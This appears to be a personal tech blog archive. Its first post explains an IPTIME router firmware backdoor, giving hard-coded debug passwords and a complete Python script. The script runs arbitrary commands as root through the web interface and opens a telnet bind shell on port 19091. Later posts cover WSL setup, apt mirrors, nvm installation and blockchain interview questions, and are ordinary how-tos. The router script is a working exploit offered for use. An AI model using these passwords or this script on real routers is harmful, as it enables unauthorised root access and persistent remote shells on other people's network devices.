Getting shell access to your IPTIME router

This article in a nutshell

  • How to hack your iptime router and get complete access to its function
  • Works up to firmware v9.27
  • You need administrator password to do anything
  • The default administrator account for iptime is username admin / password admin
  • You can’t hack other people’s router with this as you need the admin account anyway, not to mention it’s illegal in Korea 😉

Introduction

IPTIME Is a popular router brand in Korea. You can’t ssh to it, you can’t telnet to it. But they have a backdoor where you can get shell access via the web interface…

How to access this

Check your firmware version, if the version is <= 9.12, the password is #notenoughmineral^, if the version is > 9.12 upto 9.27, it’s !@dnjsrurelqjrm*&. If newer, I don’t know the password yet.

Login to your router, note the second part of the URL, is it cgi-bin or sess-bin?

Go to http://<your router ip>/<second part above/d.cgi?aaksldkfj=<the password>

You should see a screen similar to above. Congrats, you got shell access to your router.

How to automate this

Install python3 and run this script

import requests
import sys

pass_old = '#notenoughmineral^'
pass_new = '!@dnjsrurelqjrm*&'

## file changed!
userid = ''
userpw = ''

_Passname = 'aaksjdkfj'
_Passkey = ''

_dest = '/sess-bin/d.cgi'
_setdest = '/sess-bin/timepro.cgi'

_startParam = {_Passname : _Passkey }
_commandParam = {'act':'1','fname':'','cmd':''}

# REMOTE_SUPPORT MANAGEMENT SWITCH!
_enable = 'tmenu=sysconf&smenu=misc&act=remote_support&commit=&hostname=&autosaving=1&fakedns=0&nologin=0&wbm_popup=0&upnp=1&led_flag=0&ispfake=0&newpath=&remote_support=1&apcplan=1'
_disable = 'tmenu=sysconf&smenu=misc&act=remote_support&commit=&hostname=&autosaving=1&fakedns=0&nologin=0&wbm_popup=0&upnp=1&led_flag=0&ispfake=0&newpath=&remote_support=0&apcplan=1'

### chmod disabled!
_telnet_check = 'ls -al /sbin'
_permission_enable = '/bin/chmod 777 /sbin/iptables'
_permission_enable2 = '/bin/chmod 777 /sbin/utelnetd'
_telnet_enable_1 = '/sbin/iptables -A INPUT -p tcp --dport 19091 -j ACCEPT'
#_telnet_enable_1 = '/sbin/iptables -A INPUT -p tcp -m -tcp --dport 2323 -j ACCEPT'
_get_iptables = '/sbin/iptables --list'
_telnet_enable_2 = '/sbin/utelnetd -p 19091'
_demon_mode = 'cat /default/var/boa_vh.conf'

sess = requests.session()

def get(args):
    return sess.get(url='http://%s%s' % (sys.argv[1], _dest), params=args).text

def startup():
    x = _startParam.copy()
    if get(x).find('Command Name : ') == -1:
        print ("[x] Not vulnerable machine! cannot access debugging page.")
        exit(0)
    print ("[o] Debugging page exist!")

def deleteChunk(ref):
    findx = ref.find('<font size=-1>')
    ref = ref[findx:]
    ref = ref.replace('<font size=-1>','')
    ref = ref.replace('\n</font><br>','')
    return ref

def bind_shell():
    x =_commandParam.copy()
    x['cmd'] = _telnet_check
    ref = get(x)
    findx = ref.find('<font size=-1>')
    ref = ref[findx:]
    ref = ref.replace('<font size=-1>','')
    ref = ref.replace('\n</font><br>','')
    if ref.find('utelnetd') == -1:
        print ('[x] OOPS! Could not found telnet demon.')
        print ('[x] no exploitable -.-')
        exit(0)
    x['cmd'] = _demon_mode
    ref = deleteChunk(get(x))
    if ref.find('root') == -1:
        print ('[x] OOPS! httpd demon is not running at root.')
        print ('[x] no exploitable -.-')
    else:
        print ('[!] Exploitable! we start working...')
        x =_commandParam.copy()
        sys.stdout.write('[!] Setting up iptables... ')
        x['cmd'] = _telnet_enable_1
        ref = get(x)
        x['cmd'] = _get_iptables
        ref = deleteChunk(get(x))
        if ref.find('19091') == -1 :
            sys.stdout.write('Failed!')
            return
        sys.stdout.write('OK!')
        print ('')
        print ('[!] Working telnet demon server...')
        x['cmd'] = _telnet_enable_2
        get(x)
        print ('[o] Binding shell command executed. check it yourself. (port:19091)')

def showcmd(cmd):
    x = _commandParam.copy()
    x['cmd'] = cmd
    ref = get(x)
    t = deleteChunk(ref)
    if t == '>' : return()
    print (t)

if __name__ == '__main__':

    print ('[iptime-debug.py] - Directiry Debugging IPTIME python module - command eXecuter!')
    print ('Support : IPTIME 7.?? - 9.72')
    print ('Copyright : jochiwon.tistory.com\n')
    print ('firmware_version : (~ 9.12 = 0) / (9.14 ~ 9.72 = 1)')
    print ('Type "exit" to exit, "bind-shell" to bind telnet connection to port 2323. (deprecated)')

    if len(sys.argv) < 3:
        print ('\n>>> python3 hostname firmware_version [userid] [userpw]\n')
        print('firmware_version : (~ 9.12 = 0) / (9.14 ~ 9.72 = 1)')
        exit(0)

    sys.argv[1] = sys.argv[1].replace('http://','')
    sys.argv[1] = sys.argv[1].replace('/','')

    if int(sys.argv[2]) is 0:
        _Passkey = pass_old
    else:
        _Passkey = pass_new

    try:
        userid = sys.argv[3]
        userpw = sys.argv[4]
        sess.auth = (userid, userpw)
    except:
        pass

    _commandParam['aaksjdkfj'] = _Passkey

    while True:
        sys.__stdout__.write (sys.argv[1] + '> ')
        x = input()
        if x == 'exit': exit(0)
        elif x == 'bind-shell': bind_shell()
        elif x != '' : showcmd(x)

How did people find this

reference: https://live2skull.tistory.com/5

  1. Download the firmware from IP Time’s website
  2. Extract the firmware with binwalk
  3. Extract the squashfs file inside the bundle
  4. Disassemble timepro.cgi (d.cgi is a link to timepro.cgi)
  5. Find “remote support” function
  6. The password should be nearby

How I tried it for more modern IPTIME routers

I did everything swimmingly up until step 4, I can’t find “remote support” on newer firmware (10.02) for the router A1004V I’m working on 🙁

Instead of IDA for Windows, I used ghidra, a disassembly framework by the NSA (thanks, NSA!). It’s free and very feature complete 🙂

Ghidra

Very nice UI eh? When I have time I’ll dig into it more, it’s probably still there somewhere

Today I Learned (2019-11-18)

How to reset WSL on Windows

  • Type apps & into the search box in the bottom left of the taskbar.
  • Click Apps & features in the search results. The Settings app will open.
  • On the Apps & features page in the Settings app, type Ubuntu, or the name of the Linux distribution you want to reset, in the ‘Search this list’ box.
  • Ubuntu, or the name of your Linux distribution, will appear. Click it and then click Advanced options.
  • In the Settings app, scroll down the list of options until you see Reset. There are two options, Repair and Reset. We want to reset our distribution, so click Reset.
  • You will see a warning that resetting the app will permanently delete its data and sign-in preferences. Click Reset again in the pop-out dialog.
  • The resetting process will take a few seconds. Once it’s complete, a tick icon will appear to the right of the Reset button.

Changing mount path of WSL from /mnt/c to /c

This works for all of your drives at once. Create /etc/wsl.conf with this content

# Enable extra metadata options by default
[automount]
enabled = true
root = /
options = "metadata,umask=22,fmask=11"
mountFsTab = false

# Enable DNS – even though these are turned on by default, we’ll specify here just to be explicit.
[network]
generateHosts = true
generateResolvConf = true

Source: https://github.com/microsoft/WSL/issues/1918

Move WSL to an external drive

1. Set permissions to the target folder. First, I think you must set some permissions to the folder where the distribution will be moved. You may use icacls <dir> /grant "<user>:(OI)(CI)(F)" to set the proper permissions.

C:\> whoami
test\jaime

C:\> icacls D:\wsl /grant "jaime:(OI)(CI)(F)"

NOTE: In addition to the above permissions, I have activated the long path names in Windows.

2. Move the distribution. Using lxrunoffline move.

C:\wsl> lxrunoffline move -n Ubuntu-18.04 -d d:\wsl\installed\Ubuntu-18.04

You may check the installation folder using

C:\wsl> lxrunoffline get-dir -n Ubuntu-18.04
d:\wsl\installed\Ubuntu-18.04

3. Run the distribution. after moving the distribution, you can run the distribution using wsl or the same lxrunoffline

C:\wsl> lxrunoffline run -n Ubuntu-18.04 -w
user@test:~$ exit
logout

C:\wsl> wsl
user@test:/mnt/c/wsl$ exit
logout

Use the mirror protocol to automatically select the best mirror

Using mirror protocol as part of your /etc/apt/sources.list entry will instruct apt command to fetch mirrors located within your country only. In order to use mirror protocol update all lines within /etc/apt/sources.list file from the usual eg.:

deb http://us.archive.ubuntu.com/ubuntu/ ...

to:

deb mirror://mirrors.ubuntu.com/mirrors.txt ...

Repeat the above for all relevant lines where appropriate. Alternatively, use sed command to automatically edit your /etc/apt/sources.list file. Update the below sed command where appropriate to fit your environment:

$ sudo sed -i -e 's/http:\/\/archive/mirror:\/\/mirrors/' -e 's/\/ubuntu\//\/mirrors.txt/' /etc/apt/sources.list

Medium interview questions

Based on Korean Version 1.9.6 (https://hamait.tistory.com/1054), last updated October 2019.

You are not expected to be 100% knowledgeable about those, but instead show your depth in understanding what you have experience with or is interested in. Focus on what you know well.

Part 1: Blockchain

What are Double spending, Replay attack, Eclipse attack

Part 2: Bitcoin

  • How can we ensure the integrity of Bitcoin transactions? How do you trust the previous output in the input of the next transaction?
  • What’s bloom filter SPV in Bitcoin?

Part 3: Ethereum

  • What’s the difference between Transaction and Raw Trasaction?
  • What’s nonce in an Ethereum transaction? Why is there no nonce in Bitcoin?

Part 4: Hyperledger fabric

  • Explain the transaction flow of Hyperledger fabric
  • What is MVCC Collision and Optimistic Lock on Hyperledger Fabric?
  • What is MSP in Hyperledger Fabric
  • What are channel MSPs and network MSPs in a Hyperledger fabric?
  • What’s nonce in Hyperledger fabric. What is the difference with Ethereum’s?
  • How events are created in Hyperledger fabric, how can the client know about an event?

Part 5: EOS

Part 6: Hyperledger Indy

Part 7: Consensus

  • What are the advantages and disadvantages of the E-O-V consensus process in Hyperledger Fabric?

Part 8: Software

  • Tell us about three design patterns you usually use. Write the pseudo-code Implementation of Observer Pattern
  • Implement pseudo-code to distribute work among multiple threads and wait for them to finish
  • Give me three examples of how to waste space (memory) to improve performance
  • What is padding, packing in memory alignment?

Part 9: Java

  • Explain Java’s method argument passing method. What’s Shallow Copy / Deep Copy.
  • What is the logic error of the following servlet call code (target is exected once after passing through filters)?
//// Filter 
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

        ...  인코딩처리 OR
        ...  로깅처리 OR
        ...  인증처리

        chain.doFilter(request, response);
     
        ...  
}

//// FilterChain

public class FilterChain { 
   private List filters = new ArrayList(); 
   private Target target; 
   
   int currentFilter = 0; 

   public void addFilter(Filter filter){ 
      filters.add(filter); 
   } 

   public Filter getNextFilter(){ 
      if(currentFilter < filters.size()){ 
           return filters.get(currentFilter++); 
      } 
      return null; 
   } 
   public void doFilter(String request, String response){ 
         Filter f = getNextFillter(); 
         if(f != null){  
           f.doFilter(request,response,this);         
         } 
           
         target.execute(request,response); 
   } 

   public void setTarget(Target target){ 
      this.target = target; 
   } 
} 

Part 10: C++

  • What’s important about performance degradation and enhancements in C ++
  • Parse a single line to collect space-separated words, then code them to print out the word and the number of duplicates. (Performance and memory optimization
  • Write a function that takes a string as a parameter and returns a string with certain characters removed. (With performance optimization)
  • Briefly describe the auto / override / nullptr / constexpr / atomic keywords in C ++
  • Please explain the following code in C ++. (Consumers in the producer-consumer pattern, and there is only one consumer here)
Buffer BufferPool::get_buf(){   
   Buffer* buf = nullptr;
   std::unique_lock<std::mutex> ul(_mtx, std::defer_lock);

   while (buf == nullptr){
    ul.lock();
    if (_pool.empty()) _cond.wait(ul);

    if (!_pool.empty())  // 여기서 pool 이 empty 일 경우는?
    {
       buf = _pool.get();
    }
  }

   .... DO something ....
  return buf;
}

Part 11: Go

  • How is the select statement used in Go? Please explain the code below.
package main

import (
   "fmt"
   "time"
)

var scheduler chan string

func consuming (prompt string){
      fmt.Println("consuming 호출됨")
   select {
   case scheduler <- prompt:
      fmt.Println("이름을 입력받았습니다 : ", <- scheduler)
   case <-time.After(5 * time.Second):
      fmt.Println("시간이 지났습니다.")
   }
}

func producing (console chan string) {
   var name string
   fmt.Print("이름:")
   fmt.Scanln(&name)
   console <- name
}
func main() {
   console := make(chan string, 1)
   scheduler = make(chan string, 1)

   go func(){
      consuming(<-console)
   }()

   go producing(console)

   time.Sleep(100 * time.Second)
}

Part 12: Javascript

  • What are built-in Javascript objects / browser objects / HTML DOM objects
  • What is the difference between ajax and websocket communication
  • Show your previous works in React & CSS Styling

Part 13: Distributed systems

  • What is consistent hashing?
  • What is HAProxy?
  • What is Zookeeper and give two examples where you should use it

Part 14: Compilers

  • How does EOS charge for resources?
  • How to compute CPU, Memory and Storage usage in a program written in C ++ or Go?

Part 15: Cryptography

  • What is HMAC / PKI / ECDSA / ECDH
  • What is ECert in Hyperledger Fabric? Why does Hyperledger fabric use it?
  • How are zero knowledge proofs used in Fabric Identity Mixer?

Part 16: Database

  • Compare Red Black tree & B tree & Skip lists data structures.

Part 17: Messaging

Part 18: Networking / Socket

  • Tell me as much as you know the difference between socket communication between multithreaded / Select / Java NIO / ePoll / IOCP.

Experience with the following tools

  • Agile Management Techniques (* JIRA)
  • Product & Configuration Management (Bitbucket)
  • Containerization like Docker + Coobernate
  • Build Automation (* Bamboo)
  • Test Automation (* Unit Test gTest Study)
  • Issue Registration Automation (* JIRA)
  • Information sharing wiki management (confluence)
  • Information sharing chat management (slack)
  • Deployment Automation
  • Service Management Automation
  • Understanding Your Networking Infrastructure
  • Understanding Vertical / Horizontal Segmentation
  • Understanding and building a non-stop system (extending non-stop resources, etc.)
  • AWS Management

How to install nvm

This is a follow up to [How to install npm the right way]. It turns out that while convenient for Node development, nvm is notoriously slow. Thanks to reddit user sscotth we can solve that quite easily.

First, install nvm normally

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.34.0/install.sh | bash

Then find the lines nvm added to your .rc file (bashrc or zshrc), delete that shit

# export NVM_DIR="$HOME/.nvm"
# [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"  # This loads nvm
# [ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"  # This loads nvm bash_completion

Next, add this to your .rc file

declare -a NODE_GLOBALS=(`find ~/.nvm/versions/node -maxdepth 3 -type l -wholename '*/bin/*' | xargs -n1 basename | sort | uniq`)

NODE_GLOBALS+=("node")
NODE_GLOBALS+=("nvm")

load_nvm () {
    export NVM_DIR=~/.nvm
    [ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh"
}

for cmd in "${NODE_GLOBALS[@]}"; do
    eval "${cmd}(){ unset -f ${NODE_GLOBALS}; load_nvm; ${cmd} \$@ }"
done

Your globally installed programs like create-react-app will still use the current version of node, while it only loads once and not boggle down your terminal startup everytime.

Win-win

Gõ tiếng Việt trên Ubuntu

Cách gõ Dvorak trên Ubuntu với ibus-unikey

Các bộ gõ tiếng Việt trên ubuntu

  • ibus-unikey là bộ gõ có sẵn trong source, dễ cài nhất nhưng có vấn đề bị revert keyboard như ở trên
  • ibus-teni (telex-vni) mới hơn
  • ibus-bamboo: cùng tiêu chí với teni, bộ gõ mới nhất, được cập nhật thường xuyên, hỗ trợ nhiều chế độ gõ cho nhiều ứng dụng khác nhau, tuy nhiên chưa được nổi tiếng như ibus-unikey vì hầu hết các tài liệu hướng dẫn đều viết về ibus-unikey (có lẽ vì unikey namesake quá nổi tiếng trên Windows)